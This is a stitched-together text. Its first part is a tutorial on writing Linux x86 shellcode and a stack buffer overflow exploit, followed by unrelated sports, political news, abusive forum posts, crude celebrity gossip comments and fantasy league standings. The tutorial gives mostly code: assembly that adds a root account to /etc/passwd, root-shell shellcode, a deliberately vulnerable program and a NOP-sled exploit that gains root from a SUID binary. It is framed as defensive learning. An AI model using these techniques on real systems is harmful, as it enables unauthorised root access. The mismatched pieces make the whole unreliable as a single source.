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It's not an easy task to find a vulnerable service and find an exploit for it. It's also not easy to defend against users who might want to exploit your system, if you are a system administrator. However, writing an exploit by yourself, to convert a news line from bug tracker into a working lockpick, is much more difficult. This article is not a guide on writing exploits, nor an overview of popular vulnerabilities. This is a step-by-step guide on developing a shellcode, a crucial point of any exploit software. Hopefully, learning how they work will help conscientious and respectable developers and system administrators to understand how malefactors think and to defend their systems against them.
Take any exploit downloaded from the internet that promises you an easy root shell on a remote machine, and examine its source code. Find the most unintelligible piece of the code; it will be there, for sure. Most probably, you will find a several lines of strange and unrelated symbols; something like this:
char shellcode[] =
This is shellcode, also sometimes referred to as "bytecode." Its content is not a magic word or random symbols. This is a set of low-level machine commands, the same as are in an executable file. This example shellcode opens port 4444 on a local Linux box and ties a Bourne shell to it with root privileges. With a shellcode, you can also reboot a system, send a file to an email, etc. The main task for an exploit program is therefore to make this shellcode work.
Take, for example, a widely known error-buffer overflow. Developers often check data that has been received as input for functions. A simple example: the developer creates a dynamic array, allocates for it 100 bytes, and does not control the real number of elements. All elements that are out of the bounds of this array will be put into a stack, and a so-called buffer overflow will occur. An exploit's task is to overflow a buffer and, after that, change the return address of system execution to the address of the shellcode. If a shellcode can get control, it will be executed. It's pretty simple.
As I already said, this article is not a guide for writing exploits. There are many repositories with existing shellcodes (shellcode.org, Metasploit); however, it is not always enough. A shellcode is a low-level sequence of machine commands closely tied to a dedicated processor architecture and operating system. This is why understanding how it works can help prevent intrusions into your environment.
To follow along, I expect you to have at least minimal assembly knowledge. As a platform for experiments, I chose Linux with a 32-bit x86 processor. Most exploits are intended for Unix services; therefore, they are of most interest. You need several additional tools: Netwide Assembler (
ndisasm, and
hexdump. Most Linux distributions include these by default.
Shellcode stubs are usually written in assembler; however, it is easier to explain how one works by building it in C and then rewriting the same code in assembly. This is C code for appending a user into /etc/passwd:
#include <stdio.h>
#include <fcntl.h>
main() {
char *filename = "/etc/passwd";
char *line = "hacker:x:0:0::/:/bin/sh\n";
int f_open;
f_open = open(filename,O_WRONLY|O_APPEND);
write(f_open, line, strlen(line));
All of the code is pretty simple, except maybe the
open() function. The constant
O_WRONLY|O_APPEND given as a parameter opens the file fact for writing and appends the new data to the end of the file.
Here is a more usable example: executing a Bourne shell:
#include <stdio.h>
main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
setreuid(0, 0);
execve(name[0],name, NULL);
setreuid(0,0) call attempts to obtain root privileges (if it is possible).
execve(const char filename,const char[] argv, const char[] envp) is a main system call that executes any binary file or script. It has three parameters:
filename is a full path to an executable file,
argv[] is an array of arguments, and
envp[] is an array of strings in the format
key=value. Both arrays must end with a
NULL element.
Now consider how to rewrite the C code given in the first example in assembly. x86 assembly executes system calls with help of a special system interrupt that reads the number of the function from the EAX register and then executes the corresponding function. The function codes are in the file /usr/include/asm/unistd.h. For example, a line in this file,
#define __NR_ open 5, means that the function
open() has the identification number
5. In a similar way, you can find all other function codes:
exit() is
close() is
setreuid() is
70, and
execve() is
11. This knowledge is enough to write a simple working application. The /etc/passwd amendment application code in assembly is:
section .data
filename db '/etc/passwd', 0
line db 'hacker:x:0:0::/:/bin/sh',0x0a
section .text
global _start
; open(filename,O_WRONLY|O_APPEND)
mov eax, 5
mov ebx, filename
mov ecx, 1025
int 0x80
mov ebx, eax
; write(f_open, line, 24)
mov eax, 4
mov ecx, line
mov edx, 24
int 0x80
; close(f_open)
mov eax, 6
int 0x80
; exit(0)
mov eax, 1
mov ebx, 0
int 0x80
It's a well-known fact that an assembly program consists of three segments: the data segment, which contains variables; the code segment containing code instructions; and a stack segment, which provides a special memory area for storing data. This example uses only data and code segments. The operators
section .data and
section .text mark their beginnings. A data segment contains the declaration of two char variables:
name and
line, consisting of a set of bytes (see the
db mark in the definition).
The code segment starts from a declaration of an entry point,
global _start. This tells the system that the application code starts at the
_start label.
The next steps are easy; to call
open(), set the EAX register to the appropriate function code:
5. After that, pass parameters for the function. The most simple way of passing parameters is to use the registers EBX, ECX, and EDX. EBX gets the first function parameter, the address of the beginning of the
filename string variable, which contains a full path to a file and a finishing zero char (most system functions operating with strings demand a trailing null). The ECX register gets the second parameter, giving information about file open mode (a constant
O_WRONLY|O_APPEND in a numeric format). With all of the parameters set, the code calls interrupt 0x80. It will read the function code from EAX and calls an appropriate function. After completing the call, the application will continue, calling
close(), and
exit() in exactly the same way.
That was fun. Now it's time to translate the second program into assembly; one that executes
setreuid() and
execve() to run a root shell:
section .data
name db '/bin/sh', 0
section .text
global _start
; setreuid(0, 0)
mov eax, 70
mov ebx, 0
mov ecx, 0
int 0x80
; execve("/bin/sh",["/bin/sh", NULL], NULL)
mov eax, 11
mov ebx, name
push 0
push name
mov ecx, esp
mov edx, 0
int 0x80
Most of this code is similar to the previous example except for the
execve() function call. The same program segments are there, and the same execution method works for
setreuid(). The second parameter of
execve() is an array of two elements. It is reasonable to pass this through the stack, which first needs a zero value (
push 0), and then an address for the variable
name (
push name). This is a stack, so remember to push parameters in reverse order--LIFO, or "last in, first out." When the system call pulls its parameters out, the first will be the
name variable address, and then a zero value. A function must also know where to find its parameters. For that, this code uses the enhanced stack pointer (ESP) register, which always points to the top of the stack. The only other work is to copy the contents of the ESP register to ECX, which will be used as a second parameter when calling the
0x80 interrupt.
That assembly code works completely. However, it is useless. You can compile it with
nasm, execute it, and view the binary file in hex form with
hexdump, which is itself a shellcode. The problem is that both programs use their own data segments, which means that they cannot execute inside another application. This means in chain that an exploit will not be able to inject the required code into the stack and execute it.
The next step is to get rid of the data segment. There exists a special technique of moving a data segment into a code segment by using the
jmp and
call assembly instructions. Both instructions make a jump to a specified place in the code, but the
call operation also puts a return address onto the stack. This is necessary for returning to the same place after the called function successfully executes to continue the program's execution. Consider the code:
jmp two
pop ebx
[application code]
call one
db 'string'
At the beginning, the program execution jumps to a
two label, attached to a call to the procedure
one. There is no such procedure, in fact; however, there is another label with this name, which obtains control. At the moment of this call, the stack receives a return address: the address of the next instruction after
call. In this code, the address is that of a byte string:
db 'string'. This means that when the instructions located after
one label execute, the stack already contains the address of a string. The only thing left to do is to retrieve this string and use it appropriately. Here's that trick in a modified version of the second example, named shell.asm:
; setreuid(0, 0)
mov eax, 70
mov ebx, 0
mov ecx, 0
int 0x80
jmp two
pop ebx
; execve("/bin/sh",["/bin/sh", NULL], NULL)
mov eax, 11
push 0
push ebx
mov ecx, esp
mov edx, 0
int 0x80
call one
db '/bin/sh', 0
As you can see, there are no more segments at all now. The string
/bin/sh, which was previously in a data segment, now comes off of the stack and goes into the EBX register. (The code also has a new directive,
BITS 32, which enables 32-bit processor optimization.)
Compile the program with
$ nasm shell.asm
And dump its code with
$ hexdump -C shell
Figure 1 shows a typical shellcode. The next step is to convert it into a better format by preceding each byte with
\x, and then putting all of the code into a byte array. Now check that it works:
char code[]=
main() {
int (*shell)();
(int)shell = code;
Try to compile and run it:
$ gcc -o shellApp
$ ./shellApp
It works!
NULL Bytes
Now the shellcode does not use the data segment and even works inside of a C tester program, but it still will not work inside a real exploit. The reason are the numerous
NULL bytes (
\x00). Most buffer overflow errors are related to C
stdlib string functions:
strcat(), and so on. All of these functions use the
NULL symbol to indicate the end of a string. Therefore, a function will not read shellcode after the first occurring
NULL byte.
Thus, the next task is to get rid of all null bytes in the shellcode. The idea is simple: find pieces of code that cause null bytes to appear and change them. A mature developer, in most cases, can say why machine code contains zeroes, but it's easy to use a disassembler to identify such instructions:
$ nasm shell.asm
$ ndisasm -b32 shell
00000000 B846000000 mov eax,0x46
00000005 BB00000000 mov ebx,0x0
0000000A B900000000 mov ecx,0x0
0000000F CD80 int 0x80
Executing this command will give the disassembled code of a program. It will contain three columns. The first column contains the instruction's address in hexadecimal form. It is not very important. The second column contains machine instructions, the same as shown with
hexdump. The third column contains an assembly equivalent. This column will give you an idea which instructions contain null bytes in a shellcode.
After a brief review of a dump contents, it becomes evident that most null bytes come from instructions that manage the contents of registers and the stack. This is no surprise; this code works in a 32-bit mode, so the computer allocates a four-byte memory space for each numeric value. Yet the code uses only values for which one byte is enough. For example, the beginning of the program has the instruction
mov eax, 70 to put the value
70 into the EAX register. In the shellcode, this instruction looks like
B8 is the machine code of the instruction
mov ax, and
46 00 00 00 is the value
70 in hexadecimal notation, padded with zeroes to the size of four bytes. Many null bytes appear for similar reasons.
The solution for this problem is very simple. It's enough to remember that 32-bit registers (EAX, EBX, and other registers whose names begin with "E," for "enhanced") can be represented by 8-bit and 16-bit registers. It's enough to use a 16-bit register AX instead and even its low and high parts, AL and AH, which are one-byte registers. Just replace the instruction
mov eax, 70 with
mov al, 70 in all such places.
It's important to be sure that the rest of the EAX register space does not contain any garbage; that is, the code must put a zero value into EAX without using any null bytes. The fastest and most effective way of doing this is with the
XOR logical function:
xor eax,eax will give the EAX register a zero value.
Even after these modifications, the shellcode still contains zero bytes. The debugger shows that now the
jmp instruction causes trouble:
E91500 jmp 0x29 0000 add [bx+si],al
The trick is to use a short jump instruction instead of the usual
jmp short. In short programs with simple structure these instructions work in absolutely the same way, and the machine code in this case will not contain zero bytes.
You may now think that this shellcode is ideal, but at the end there is still one remaining zero byte. This zero byte occurs because the string
bin/sh has a null byte indicating the end of the string. This is a definite requirement, because otherwise
execve() will not work properly. You cannot just remove this byte. You can use one more assembler trick: at the compiling and binding stage, store any other symbol instead of zero, and convert it into zero while processing the program:
jmp short stuff
pop esi
; address of string
; now in ESI
xor eax,eax
; put zero into EAX
mov byte [esi + 17],al
; count 18 symbols (index starts from zero)
; and putting a zero value there (EAX register equals to zero)
; The string will become This is my string0
call code
db 'This is my string#'
After using this trick, the shellcode will contain no null bytes:
;setreuid(0, 0)
xor eax,eax
mov al, 70
xor ebx,ebx
xor ecx,ecx
int 0x80
jmp short two
pop ebx
; execve("/bin/sh",["/bin/sh", NULL], NULL)
xor eax,eax
mov byte [ebx+7], al
push eax
push ebx
mov ecx, esp
mov al,11
xor edx,edx
int 0x80
call one
db '/bin/sh#'
After compiling this code, you can now see that it no longer contains null bytes. It's worth mentioning that the problem may arise not only because of null bytes, but because of other special symbols; for example, the end-of-line symbols, in some cases.
A buffer overflow exploit tries to write beyond a buffer on the stack so that when the function returns, it will jump to some code that most often starts a shell instead of returning to the function that called the current function. To understand how it works, you have to know how the stack works and how functions are called in C. The stack starts somewhere in the top of memory and the stack pointer moves down as the program pushes things onto the stack and back up as the code pops them off again. Given the C function:
void sum(int a,int b) {
int c = a + b;
The stack inside of
sum() will look like this:
b a <return address> <ebp contents> c
The computer saves the contents of the EBP register to a stack before calling the
sum() function because it will be used inside of the function, so it can be restored from the stack after returning from the function. The goal of an exploit is to change the return address. This is not possible in this case, because no matter what
a and
b are, the result cannot overflow
c into the EBP contents on the stack and the return address. If
c were a string instead, it might be possible to write past it. Here is an overflow-exploitable program:
void sum(int a,int b) {
int c = a + b;
void bad_copy_string(char *s)
char local[1024];
printf("string is %s\n",local);
int main(int argc, char *argv[])
The function
copy_string makes a copy of the first command-line parameter of the program into a buffer of a fixed size and then prints it out. This might look stupid, but something like this is quite common for programs that need to perform actions based on external input, either from the command line or a socket connection.
Compile this victim code and run it:
% gcc -o overflow overflow.c
% ./overflow 'All seems fine'
string is All seems fine
Everything seems indeed right, but call it with a parameter longer than 1024 characters:
% ./overflow `perl -e 'print "a" x 2000'`
string is aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
bash: segmentation fault (core dumped) ./overflow `perl -e 'print "a" x 2000'`
The Perl script above generates a string of 2000
a symbols. Now run the core file through
% gdb ./overflow core
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux".
Core was generated by `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x61616161 in ?? ()
The segmentation fault happened at the address
0x61616161--which is the string
aaaa in hexidecimal. This means that the exploit can get the program to jump to an arbitrary address depending on what it receives as a parameter. It would be nice to make it jump to the beginning of the local buffer on the stack--but what is the address of the stack right now?
gdb knows:
(gdb) info register esp
esp 0xbffff334 0xbffff334
Now, the only other thing necessary to get the code to execute is the previously written shellcode. You can take the ready shell app and run an overflow victim program from it:
#include <stdlib.h>
static char shellcode[]=
#define NOP 0x90
#define LEN 1024+8
#define RET 0xbffff334
int main()
char buffer[LEN]; int i;
/* first fill up the buffer with NOPs */
for (i=0;i<LEN;i++)
buffer[i] = NOP;
/* and then the shellcode */
/* and finally the address to return to */
*(int*)(&buffer[LEN-4]) = RET;
/* run program with buffer as parameter */
return 0;
shellcode[] symbol array contains the shellcode without any null bytes. It may differ slightly, depending on OS conditions. The
main() function starts with a buffer that is the size of the local variable (1024 bytes) plus eight bytes for EBP and the return address. As the buffer is longer than the shellcode, the beginning needs a bunch of do-nothing machine code (
NOP) operations. Then the function copies in the shellcode, and finally, the address of the beginning of the buffer. Now compile and run it:
% gcc -o exploit exploit.c
% ./exploit
string is <lots of garbage>
Yahoo! A new Bourne shell opened! This is, of course, not much fun as the overflow program runs as yourself, but if it were a
SUID root program, then you would now have a root shell. Try that:
% chmod +s overflow
% su
# chown root overflow
# exit
% ./exploit
string is <lots of garbage>
sh# whoami
That's it! You became a root user on this machine without permission. If the victim machine is a remote one, this will not help. More advanced shellcode creates a listening socket and redirects
stdin and
stdout to it before calling
execve /bin/sh--that way, you don't need a shell account on the machine and can simply direct
telnet or
nc at the machine and port to get a root shell.
In this article, I have reviewed the most important tricks that will be needed in writing shellcodes and using them in exploit. The key to success is a good understanding of the operating system under which the shellcode will run, as well as assembly programming. There is nothing complicated, though. It's also worth mentioning that you should only use these mentioned techniques for legal purposes and with the knowledge and consent of the machine's owner.
Buffer Overflow Attacks
Peter Mikhalenko works in Deutsche Bank as a business consultant.
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DUBUQUE — The Central College men's and women's track and field teams rolled up eight more victories on the final day of competition at the Iowa Conference championship meet Saturday.
After a string of four consecutive league championships, the Dutch men settled for second place with 187.5 points while Wartburg College took the win with 221. Central's women placed third with 119 points behind Wartburg (286) and Luther College (180).
"We had two very exceptional performances this weekend," said coach Joe Dunham. "Things might not have played out how we would have liked on paper, but I couldn't more proud of the effort."
Horton doubles up again—For the second consecutive year, Eli Horton (sophomore, Runnells, Southeast Polk HS) swept the 1,500 and 5,000-meter runs. He easily won the 1,500 meters in three minutes, 53.3 seconds before cruising to a victory in the 5,000 meters in 15:08.36.
Freshmen Dan Roemerman (Iowa City, City HS) and Drake Hickok (Cedar Rapids, Washington HS) garnered titles in their outdoor conference debuts. Roemerman won the 110-meter hurdles title in 15.05 while Hickok used a personal-best effort of 54.1 to capture the win in the 400-meter hurdles. Drew Jackson (sophomore, Johnston) earned his first conference victory in the 3,000-meter steeplechase in 9:25.2 while Josh Fleming (senior, Caseyville, Collinsville HS) won the discus throw with a mark of 166 feet, five inches.
Kyle Nuehring (freshman, Waukee) earned two all-league medals on the day, following Horton to place second in the 1,500-meters (3:56.45) before taking third in the 800 meters (1:57.11). Ben Schornack (senior, Urbandale) was close behind in fourth (1:57.47) while Nick Barnes (junior, Altoona, Southeast Polk HS) was sixth (1:58.46). Jackson and Cole Decker (freshman, Des Moines, Dowling Catholic HS) were fourth (15:20.72) and sixth (15:24.11) respectively in the 5,000 meters. Eric Larson (sophomore, Waverly, Waverly-Shell Rock HS) crossed the line fifth in the 110-meter hurdles (15.28) while Austin Stubbs (freshman, Pleasant Hill, Des Moines Christian HS) took fifth in the 400 hurdles (55.35).
Both Central relays earned all-league honors with third-place finishes. The 4x100-meter squad of Mitch Wagoner (junior, Iowa Falls, Iowa Falls-Alden HS), Logan Danko (senior, Centerville), Roemerman and Larson finished in 42.64 while the 4x400-meter team of Mason Zimmerman (sophomore, Urbandale), Austin Roberts (freshman, Bloomfield, Davis County HS), Tyler Westphal (senior, Le Mars) and Spencer Hammack (freshman, Ottumwa) crossed the line in 3:18.61. Both marks represented season's bests. Meanwhile, Wagoner was seventh in the 100 meters (11.39), Danko was third in the 200 meters (22.43), and Roberts was fifth in the 400 meters (50.17).
Off the track, Steven Messerschmidt (junior, Neola, Tri-Center HS) led a trio of Central throwers in the shot put with a fourth-place finish (48-8.75). Gunnar Johnson (sophomore, Johnston) was seventh (46-10) and Fleming was eighth (46-8.75). Josh Tack (sophomore, Hudson) was eighth in the discus throw (138-6) and Emery Davis (senior, Winfield, Winfield-Mt. Union HS) took seventh in the triple jump (42-8).
Coleman impressive in league finale—Felicia Coleman (senior, Houston, J. Frank Dobie HS) continued winning Saturday, sweeping the 100 and 200-meter dashes and running a leg on the 4x100 and 4x400-meter relays. She crossed the line in 12.17 seconds in the 100 meters before a 24.75-second performance in the 200 meters. Coleman anchored the runner-up 4x400-meter relay in a time of 3:58.65 along with Camie Kibbee (sophomore, Mason City), Taylor Beckman (sophomore, Panora, Panorama HS) and Katie Sunderman (freshman, Pella) and ran the third leg of the fifth-place 4x100-meter relay (49.04) with Monica Ruiz (freshman, Hudson), McKenna Zimmerman (sophomore, Urbandale) and Sunderman.
Elin Phipps (freshman, Boone) garnered all-conference recognition twice, finishing third in the 1500 meters (4:50.13) before a runner-up showing in the 800 meters (2:16.35). Kibbee finished in the 400 meters (59.05) while Alyssa Eaves (sophomore, Johnston) was third in the 3,000-meter steeplechase (11:44.79). Both marks were lifetime bests.
Other notable performances include Jess Fevold (senior, Webster City) in the shot put (fourth, 39-5.25), Mel McDermott (senior, Britt, West Hancock HS) in the 5,000 meters (fourth, 18:15.72), Sarah Mueller (sophomore, Urbandale) in the 800 meters (seventh, 2:23.52), Meredith Zimmerman (sophomore, Urbandale) in the 100-meter hurdles (seventh, 15.88), Molly Bramble (freshman, Waukee) in the 1,500 meters (eighth, 4:59.39) and Sunderman in the 200 meters (eighth, 26.7).
With the conclusion of the conference meet, Dunham was quick to compliment to his senior class.
"I need to point to our leadership," said Dunham. "Our seniors have done a great job of leading these teams and I am so grateful for what they've given the program. They will be missed."
Dunham also cited his coaching staff.
"The coaches have put in a lot of hard work over this past year," said Dunham. "It takes a great deal of time and energy to do a good job and I couldn't be happier with the people we have on out staff. We also get great support from Shelli Green. She does a fantastic job making sure our athletes stay healthy."
The Dutch will now set their sights on the NCAA national championship meet May 23-25 in La Crosse, Wis. A small group of athletes will compete at the Wis.-La Crosse Last Chance Qualifier and North Central (Ill.) Gregory Invitational next week Thursday and Friday to improve potential qualifying marks.
"We're looking forward to continuing the season and getting as many athletes to the national meet as possible," said Dunham. "We'll have a couple of chances to do that next week and we're looking forward to it.


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In January 2008 eco-psychologists Sarah Anne Edwards and Linda Buzzell coined that term in an article published in Hope Dance magazine. (Visit hopedance.org.) It opens with a quotation from T.S. Eliot: "Humankind cannot bear very much reality," and delineates six stages in a person's attempt to process and cope with the realities of climate change, including denial; semi-consciousness; the moment of realization; feeling despair, hopelessness and powerlessness; and acceptance, empowerment and action.
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Fear couples with despair as I watch the world I love come undone, the world that sustains me physically and spiritually. In a perfect example of the triumph of ideology over reason, our politicians can muster the will to extend the Patriot Act, but can't seem to address the real terror of Climate Change even in the face of mounting devastation.
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Gov. Peter Shumlin and Republican challenger Randy Brock traded by far the sharpest barbs of the campaign season as both candidates used their final televised debate to try to inflict damage on the opponent.
From questions about Shumlins recent land deals to thinly veiled allegations of pay-to-play politics, Brock assumed an aggressive posture previously unseen in what has been a relatively staid race at the top of the ticket.
The Democratic incumbent, meanwhile, ridiculed a much-talked-about component of the GOP challengers economic development platform that envisions what Brock calls a business in a box.
As a means of reducing the states jobless rate, Brock has proposed giving unemployed Vermonters packaged business plans for which they would seek financing from private lending institutions.
What unemployed Vermonter has the resources to be eligible for credit from a lending institution? Shumlin asked. What do you know about business that I dont know that youre able to get a loan when youre unemployed?
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Now you sound like Mitt Romney, Shumlin said.
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All I can say, Vermonters, is watch out, Shumlin said. Randy is willing to reduce income sensitivity on property taxes, the one thing thats making property taxes affordable.
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They got a great deal and are very happy, Shumlin said. I got a great deal and am very happy.
Brock wouldnt let it go.
On a per-acre basis you got a heck of a deal, he said. If you can do that, you ought to be doing that for the state of Vermont, because youre a heck of a real estate investor.
Brock also tried to ding Shumlin for a $2,000 campaign donation from Hewlett-Packard, a company both men say is to blame for a failed IT project into which the Vermont Department of Motor Vehicles has poured $18 million.
Shumlin visited the company in February to discuss, he said, problems with the contract. Is it appropriate where we have a major problem with a vendor is it appropriate to visit them in California and come away with a campaign contribution? Brock asked.
Shumlin said he resented the insinuation.
I find it insulting you would suggest that on state business I asked for contributions, Shumlin said.
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The taxpayers did not get the value for their dollars they should have. I said, Weve got to find a way to get Vermont taxpayers money back, Shumlin said. I am an ethical person. I would suspect you know that.
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What exactly do I mean by saying "Im a legend!"
This site has been up since 2002 i believe, all im sayin is if i was to never post again tomorrow, 10 to 15 years down the road anyone whos been on here a while will remember the Msg33 era, just like the nyknicks126 era and the metrocard era. The 3 posters who called me out above wont be remembered.
I dont really care about any of this but you do. I have plenty of proof rite in this thread. You said yourself:
The word "anymore" suggested that you once cared, and maybe your feelings were hurt when you no longer cared, maybe your feelings are still hurt. I can expose you alot worse then this so I would be careful how I reply if i was you, and again, my proof is right here in this thread. I would prefer to drop everything and continue our alliance once your ready to start actin like a man again.This is only a little knick forum on the web, who gives a F#ck anymore.
I dont care if you have the moderators check to see how metrocards and msgknickz34 are. Go ahead, I already told you this. You had no reason to accuse me of being them. Your actin like a bitch, come back to your senses.
The funny thing is that your hopin for the mods to help you out. I hope they dont, you called them out a couple times in this thread saying that their not on here enuff. I dont really care to find out who is creating the aliases, Im not even sure if it is someone on here. It could be people who have been lurking for a while and have decided to f*ck with us, who knows.
Why the f*ck are you so quick to draw conclusions and point the finger at me? That finger just got mac 10'd off, now you only have 9. Dont forget, I can easily further expose you with stuff you already said in this thread but I prefer to drop everything and continue to be alliances. If you ignore me i wont expose you, only if you come back with more disrespectful comments.


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The city council approved the hikes a few years ago. Besides the green fees, senior passes will jump from $85-$90 a month.
"I think it's outrageous. We are senior citizens. This is the most played golf course. I think the state or the city is making a lot of money off of here," said Homer Kuroda, who played at the popular Ala Wai Golf Course Monday.
The city's figures show that since the fees kicked in, golfers are played 11,000 fewer rounds. But revenues went up $400,000.
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His tramp stamp is too much.
I don't know if it's the illusion of him kinda crouching, but I hope to God he isn't wearing those horrible dropped crotch pants that some younger idiots wear today.
Oh it's no illusion. He's rocking the harem pants alright.
Seriously, tramp stamp? Were just going to ignore that?
Oh you caught it Apparatus, thanks!
He looks like crap with all the ink and stink he has on his body. I saw him in Evita and he was incredible. A real class act; this is a real trash act.
Well his tramp stamp gives his man something to look at when he's hitting it from behind. I've been telling you boys…he's a bottom! Life is good. LOL
I'm sure he needs room service. Food, massage, bed turn down, fresh towels and all the sheets he needs. Anything…
I think he looks great in the balcony photo but I have to agree he looks a little silly dressing like a teen/20 something in the other pics.
Thats how we Boricuas roll baby. Don't hate…appreciate!! ;-)
I'm not sure why so many of you are working os hard to say something negative & nasty? What is that all about?!
Too much ink for my taste
@stanhope: Tramp Stamp comes with Crayons so the Boys don't get Bored Back There.
Right there with ya…I love me some Ricky…but when he looks like he hasn't bathed in a week—NOT SO MUCH
…here we go again…a perfectly beautiful, talented, accomplished gay man, who is also a standard bearer for gay fathers, being trashed by dozens of other gay men with the very same relish as the haters…shame on all of you…get real lives…
…further, every time all of you bloggers crap on one of your fellow gay brethren, you play into the hands of all of those who would suggest that gays are a bunch of low-esteem, self-hating, self-loathing misfits…read the posts here…you would think the haters were right…
I don't know where the assumption that he hasn't bathed in a week is coming from. His hair looks clean and ungreasy. He has just let his body hair grow and he has a 5 O'clock shadow. That doesn't mean he hasn't bathed.
That ass ain't banging…..it may be getting banged but it ain't banging…it's too wide.
Isn't he a tad old to be called Ricky? In any case, Martin sure has aged.
@Bopper1: they are Rickymartinophobes. LOL
Nice looking….then he turns around and that tramp stamp makes him look like the Tuesday afternoon shift at a truck stop outside Reno.
@Bopper1: Get off the cross already. We need the wood.
@Bopper1: said…
"every time all of you bloggers crap on one of your fellow gay brethren, you play into the hands of all of those who would suggest that gays are a bunch of low-esteem, self-hating, self-loathing misfits
How interesting Bopper, Johnny Weir calls gays idiots, activists assholes, and defends Putin's attacks on gays, and not only did you defend him but you attacked the people commenting on him so strongly that Queerty actually deleted your post.
So I guess in your world, if it's somebody you have an immature little fangurl crush on who is attacking gays…well THEN it's ok right?
@Bopper1: Well, I don't mean to pile on, but if we look at the converse of what you posit; we get a homogenized environment where we filter everything based on how people outside our group will feel. . .So we shouldn't disparage one of our own bc tht supports the views of conservatives?It't that very practice of censoring oneself that leads to people hiding parts of themselves. That's the very thing gays are trying to stop doing. Life is much better when you just live as open and honestly as is possible…
@manonyme: I see your point but it makes me curious as to why "disparaging one of our own" is so critical to you. Has Ricky Martin done something particularly heinous? Has he drowned puppies in a river? Has he set back LGBT rights? Or is all this snark just based on his personal appearance? Thanks in advance.
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Congressional panel challenges Vt health exchangeBy PETER HIRSCHFELD
Vermont Press Bureau | July 02,2013MONTPELIER — A congressional oversight committee is challenging the legitimacy of a Vermont law that will require small businesses to purchase health insurance through a new online "exchange."
In a June 26 letter to Health and Human Services Secretary Kathleen Sebelius, Republican Rep. Darrell Issa, of California, says the Vermont statute "violate(s) the principle of voluntary participation in the exchanges." Issa, a vocal critic of the federal Affordable Care Act from which the exchange originally sprang, said Vermont will have to amend its law so as to "ensure that individuals and employers have the freedom to enter into contracts outside of a regulated government-created bureaucracy."
State officials, however, say Vermont is on safe legal ground and dismissed the letter as an attempt by opponents of health care reform to derail the pending implementation of a key component of the health care reforms dubbed Obamacare. The letter was issued by the House Committee on Oversight and Government Reform, which is controlled by the same Republican majority that has voted on several occasions to repeal the ACA altogether.
"It's no surprise this particular membership of this committee would look at states that are trying to move forward with creative approaches to health care reform," said Robin Lunge, director of health care reform for the administration of Gov. Peter Shumlin.
At issue is whether Vermont can force small businesses to purchase from the exchange, an online marketplace in which policies are subject to more regulatory scrutiny than plans sold in the conventional market. Lunge said Monday that the administration conducted a thorough legal analysis before passing legislation in 2012 that requires businesses with 50 or fewer employees to purchase insurance through the exchange.
Issa points to language in the Affordable Care Act under a subhead titled "Prohibition Against Compelled Enrollment." Language following that subhead stipulates that nothing in the federal law "shall be construed to compel an individual to enroll in a qualified health plan or to participate in an Exchange."
The exchange mandate in Vermont, Issa wrote, "conflicts with the text of the (ACA) that requires participation in the Exchange to be voluntary."
Lunge said the Legislature and administration were well aware of the ACA language when they crafted the exchange law. While the federal statute makes participation voluntary, Lunge said, that doesn't mean states aren't free to go further. She said states have always had regulatory authority over private insurance companies operating within their boundaries. And the ACA, Lunge said, has done nothing to change that.
"From our perspective, when we did our legal analysis, we felt state authority over the private insurance market was preserved (by the ACA) and that Congress didn't intend to pre-empt states on that insurance regulation," Lunge said.
Furthermore, Lunge said, the federal government has on multiple occasions over the last year closely vetted Vermont's exchange plan and determined that it passes legal muster.
Issa's oversight committee is asking Sebelius to conduct a similar probe of statute in Washington, D.C., the only other jurisdiction in the nation that is forcing small businesses to purchase insurance through the exchange.
Mark Larson, commissioner of the Department of Vermont Health Access, said that by herding small businesses into the exchange, policymakers ensure that as many Vermonters as possible will be eligible for the federally funded financial assistance that will be available inside it.
"Obviously the purchase of coverage through the exchange is the only way that individuals can access the significant benefits available through the ACA," Larson said.
Vermont's exchange, scheduled to begin selling policies Oct. 1, is called Vermont Health Connect.
Darcie Johnston, executive director of Vermonters for Health Care Freedom, joined business groups in 2012 in lobbying against the mandate. She said the congressional inquiry will renew the effort to undo the requirements on small businesses.
"Vermonters for Health Care Freedom will begin an immediate effort to create a grass-roots effort to encourage the governor and the Vermont Legislature to make the Vermont law compliant with the intent of Obamacare," Johnston said Monday.
By corralling businesses into the exchange, Johnston and others say, lawmakers will deny them access to potentially more affordable plans that would otherwise be available outside the exchange.
Betsy Bishop, executive director of the Vermont Chamber of Commerce, said she couldn't weigh in on the statutory legitimacy of Vermont's mandate. But she said small business owners by and large would prefer the option of being able to buy plans outside the exchange.
"What we said (in 2012) is that if the exchange offers the best product at the best prices, businesses and individuals will flock there regardless of if you have a mandate or not. But that was taken off the table in Vermont," Bishop said. "And I think having those types of choices would still be preferable to businesses."
Issa's letter notwithstanding, Lunge and Larson said the state is proceeding full force with efforts to get the exchange up and running by Oct. 1. A multimillion-dollar outreach and education effort will ramp up in the coming weeks and months as the state looks to deliver to business owners all the information they need to make a successful transition.
The House Committee on Oversight has asked the state of Vermont to "produce all documents and communications referring or relating" to a law that "prohibits the purchase of health insurance coverage outside the state's Exchange."
Lunge said the state will comply with the committee's request.
Asked what would happen if the mandate were overthrown, Lunge said she hadn't played out that scenario. But she said she's confident that the letter won't result in any substantive changes. If Issa's argument did get traction, Lunge said, the state would defend its ground.
"Given that the federal government has already approved our exchange, I think at this point it would be potentially a bit late to change course," Lunge said. "So I think we would look at what our legal options were."
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MLB Bloggers Fantasy League Standings. Good Luck Manny!
Check out who has the best record in the MLB Bloggers fantasy league! My LA Locos Azules.
1 Larrapin Lou's 116-68-6
2 Indianapolis… 101-79-10
3 Cincinnati Reds 88-94-8
4 Pittsburgh Peas 62-115-13
5 How 'Bout Th… 61-117-12
1 Astros The B… 118-67-5
2 Rambling Ram… 98-82-10
3 Team chris-p… 96-85-9
4 Austin James… 95-85-10
5 Team FriarFa… 54-130-6
1 LA Locos Azules 134-47-9
2 Rays Renegade 123-59-8
